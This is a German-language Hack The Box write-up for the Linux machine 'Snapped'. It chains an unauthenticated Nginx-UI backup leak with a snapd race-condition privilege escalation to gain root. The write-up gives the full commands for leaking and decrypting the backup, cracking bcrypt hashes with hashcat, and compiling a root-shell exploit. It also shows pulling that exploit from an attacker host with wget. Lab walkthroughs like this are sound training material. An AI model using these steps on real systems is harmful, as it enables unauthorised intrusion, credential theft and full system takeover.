
# HTB Snapped — Writeup zur schweren Linux-Maschine. CVE-2026-27944 (Nginx-UI – unauthentifizierte Offenlegung von Backups) verknüpft mit CVE-2026-3888 (snapd-Race-Condition-LPE) für eine vollständige Systemkompromittierung.
HTB Snapped — Writeup der schweren Linux-Maschine. CVE-2026-27944 (Nginx-UI-unauthentifizierte Backup-Offenlegung) kombiniert mit CVE-2026-3888 (snapd-Race-Condition-LPE) für eine vollständige Systemkompromittierung.
Schwierigkeit: Schwer
Betriebssystem: Linux (Ubuntu 24.04)
Veröffentlichungsdatum: 23. März 2026
CVEs: CVE-2026-27944, CVE-2026-3888
Snapped ist eine schwere Linux-Maschine, die eine statische Website hinter nginx mit einem Nginx-UI-Admin-Panel hostet. Der erste Zugriff wird durch die Ausnutzung von CVE-2026-27944 erlangt — einem unauthentifizierten Backup-Endpunkt, der AES- Verschlüsselungsschlüssel preisgibt. Nach der Entschlüsselung des Backups und dem Knacken eines bcrypt-Hashes aus der SQLite-Datenbank wird SSH-Zugriff erlangt. Die Rechteausweitung auf root wird über CVE-2026-3888 erreicht, eine Race Condition in snapd zwischen snap-confine und systemd-tmpfiles.
nmap -sCV <TARGET_IP>
Offene Ports: 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
Gefunden: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
Nginx-UI-Versionen vor 2.3.3 legen /api/backup ohne
Authentifizierung offen. Der Antwort-Header X-Backup-Security gibt den
AES-256-CBC-Schlüssel und IV preis, die zum Entschlüsseln des Backup-Archivs benötigt werden.
Schritt 1 — Backup herunterladen und Schlüssel/IV extrahieren:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
Schritt 2 — In Hex konvertieren und entschlüsseln:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
Schritt 3 — Hash aus der SQLite-Datenbank extrahieren:
strings database.db | grep '\$2a\$'
# bcrypt-Hashes für Benutzer gefunden: jonathan, admin
Schritt 4 — Hash knacken:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
Schritt 5 — SSH-Zugriff:
ssh [email protected]
cat ~/user.txt
CVE-2026-3888 ist eine lokale Rechteausweitung in snapd, die Ubuntu 24.04 betrifft. Sie missbraucht eine TOCTOU-Race-Condition zwischen zwei Systemkomponenten:
/tmp/.snapWenn systemd-tmpfiles /tmp/.snap löscht, kann ein Angreifer es mit
bösartigem Inhalt neu erstellen. Wenn snap-confine als Nächstes eine
Sandbox initialisiert, bindet es das vom Angreifer kontrollierte Verzeichnis mit
Root-Rechten ein, was eine Hijacking des dynamischen Linkers ermöglicht.
Schritt 1 — Verwundbare Version überprüfen:
snap version
# snapd 2.63.1+24.04 — verwundbar (behoben in 2.73)
Schritt 2 — Exploit auf der Angreifer-Maschine kompilieren:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Schritt 3 — Auf das Ziel übertragen:
# Angreifer-Maschine
python3 -m http.server 8080
# Ziel
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
Schritt 4 — Exploit ausführen:
# Sitzung 1 — Exploit ausführen
~/exploit ~/librootshell.so
# Sitzung 2 — Bereinigung auslösen, wenn "Polling..." erscheint
rm -rf /tmp/.snap
Schritt 5 — Root-Shell:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt